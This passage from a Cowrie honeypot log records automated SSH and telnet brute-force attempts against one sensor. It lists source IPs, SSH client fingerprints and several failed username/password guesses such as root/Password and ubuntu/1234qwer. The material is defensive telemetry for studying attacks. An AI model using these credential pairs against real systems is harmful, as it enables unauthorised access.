"ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:08.423462Z","src_ip":"91.92.40.153","session":"39a2e612df69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:08.840253Z","src_ip":"91.92.40.153","session":"39a2e612df69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:10.192722Z","src_ip":"91.92.40.153","session":"39a2e612df69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:10.869166Z","src_ip":"139.99.74.35","session":"6a679bd7e337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50954,"dst_ip":"159.203.135.109","dst_port":22,"session":"44f79efd85f8","protocol":"ssh","message":"New connection: 139.99.74.35:50954 (159.203.135.109:22) [session: 44f79efd85f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:11.102387Z"}
{"eventid":"cowrie.session.closed","duration":54.36963415145874,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:11.727611Z","src_ip":"170.64.224.25","session":"103564bc1aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e667aa8639e5","protocol":"ssh","message":"New connection: 91.92.40.153:38304 (10.17.0.5:22) [session: e667aa8639e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:13.958333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:14.261929Z","src_ip":"91.92.40.153","session":"e667aa8639e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:14.265168Z","src_ip":"91.92.40.153","session":"e667aa8639e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:15.750394Z","src_ip":"91.92.40.153","session":"e667aa8639e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:15.897816Z","src_ip":"139.99.74.35","session":"44f79efd85f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48214,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e0eb6f7c19","protocol":"ssh","message":"New connection: 139.99.74.35:48214 (159.203.135.109:22) [session: f6e0eb6f7c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:16.121667Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51790,"dst_ip":"159.203.135.109","dst_port":23,"session":"35a42d5c901e","protocol":"telnet","message":"New connection: 170.64.224.25:51790 (159.203.135.109:23) [session: 35a42d5c901e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:17.023607Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:17.190619Z","src_ip":"91.92.40.153","session":"e667aa8639e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38362,"dst_ip":"10.17.0.5","dst_port":22,"session":"6242702e37fd","protocol":"ssh","message":"New connection: 91.92.40.153:38362 (10.17.0.5:22) [session: 6242702e37fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:19.713057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:20.007987Z","src_ip":"91.92.40.153","session":"6242702e37fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:20.011361Z","src_ip":"91.92.40.153","session":"6242702e37fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:21.206233Z","src_ip":"139.99.74.35","session":"f6e0eb6f7c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":48234,"dst_ip":"159.203.135.109","dst_port":22,"session":"553003bd3e12","protocol":"ssh","message":"New connection: 139.99.74.35:48234 (159.203.135.109:22) [session: 553003bd3e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:21.461946Z"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1","message":"login attempt [runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:21.753312Z","src_ip":"91.92.40.153","session":"6242702e37fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49726,"dst_ip":"159.203.135.109","dst_port":22,"session":"a374c7b3de3d","protocol":"ssh","message":"New connection: 160.187.174.22:49726 (159.203.135.109:22) [session: a374c7b3de3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:22.313625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:22.319756Z","src_ip":"160.187.174.22","session":"a374c7b3de3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:22.556862Z","src_ip":"160.187.174.22","session":"a374c7b3de3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:23.355260Z","src_ip":"91.92.40.153","session":"6242702e37fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:23.367573Z","src_ip":"160.187.174.22","session":"a374c7b3de3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:24.631134Z","src_ip":"160.187.174.22","session":"a374c7b3de3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41262,"dst_ip":"10.17.0.5","dst_port":22,"session":"d720658c7b8f","protocol":"ssh","message":"New connection: 91.92.40.153:41262 (10.17.0.5:22) [session: d720658c7b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:25.156127Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":47720,"dst_ip":"159.203.135.109","dst_port":23,"session":"7859eea675ed","protocol":"telnet","message":"New connection: 183.91.11.226:47720 (159.203.135.109:23) [session: 7859eea675ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:25.229031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:25.693766Z","src_ip":"91.92.40.153","session":"d720658c7b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:25.696922Z","src_ip":"91.92.40.153","session":"d720658c7b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:26.224361Z","src_ip":"139.99.74.35","session":"553003bd3e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45670,"dst_ip":"159.203.135.109","dst_port":22,"session":"00605ab21778","protocol":"ssh","message":"New connection: 139.99.74.35:45670 (159.203.135.109:22) [session: 00605ab21778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:26.452635Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:29.110463Z","src_ip":"91.92.40.153","session":"d720658c7b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:30.906881Z","src_ip":"91.92.40.153","session":"d720658c7b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41332,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee34b42cafa9","protocol":"ssh","message":"New connection: 91.92.40.153:41332 (10.17.0.5:22) [session: ee34b42cafa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:30.968720Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:31.238294Z","src_ip":"139.99.74.35","session":"00605ab21778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45700,"dst_ip":"159.203.135.109","dst_port":22,"session":"b31dca68f037","protocol":"ssh","message":"New connection: 139.99.74.35:45700 (159.203.135.109:22) [session: b31dca68f037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:31.456805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:31.574977Z","src_ip":"91.92.40.153","session":"ee34b42cafa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:31.580818Z","src_ip":"91.92.40.153","session":"ee34b42cafa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:34.481861Z","src_ip":"91.92.40.153","session":"ee34b42cafa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:35.627565Z","src_ip":"91.92.40.153","session":"ee34b42cafa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:36.243614Z","src_ip":"139.99.74.35","session":"b31dca68f037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46340,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ed2043205b","protocol":"ssh","message":"New connection: 139.99.74.35:46340 (159.203.135.109:22) [session: 11ed2043205b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:36.495259Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44502,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5b22d58e417","protocol":"ssh","message":"New connection: 91.92.40.153:44502 (10.17.0.5:22) [session: c5b22d58e417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:38.358279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:38.433824Z","src_ip":"91.92.40.153","session":"c5b22d58e417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:38.515159Z","src_ip":"91.92.40.153","session":"c5b22d58e417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:38.964729Z","src_ip":"91.92.40.153","session":"c5b22d58e417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:40.367656Z","src_ip":"91.92.40.153","session":"c5b22d58e417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:41.484555Z","src_ip":"139.99.74.35","session":"11ed2043205b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46358,"dst_ip":"159.203.135.109","dst_port":22,"session":"35efe997ac08","protocol":"ssh","message":"New connection: 139.99.74.35:46358 (159.203.135.109:22) [session: 35efe997ac08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:41.729410Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47756,"dst_ip":"159.203.135.109","dst_port":23,"session":"b230255fa944","protocol":"telnet","message":"New connection: 170.64.224.25:47756 (159.203.135.109:23) [session: b230255fa944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:43.691585Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:46.492968Z","src_ip":"139.99.74.35","session":"35efe997ac08","protocol":"ssh"}
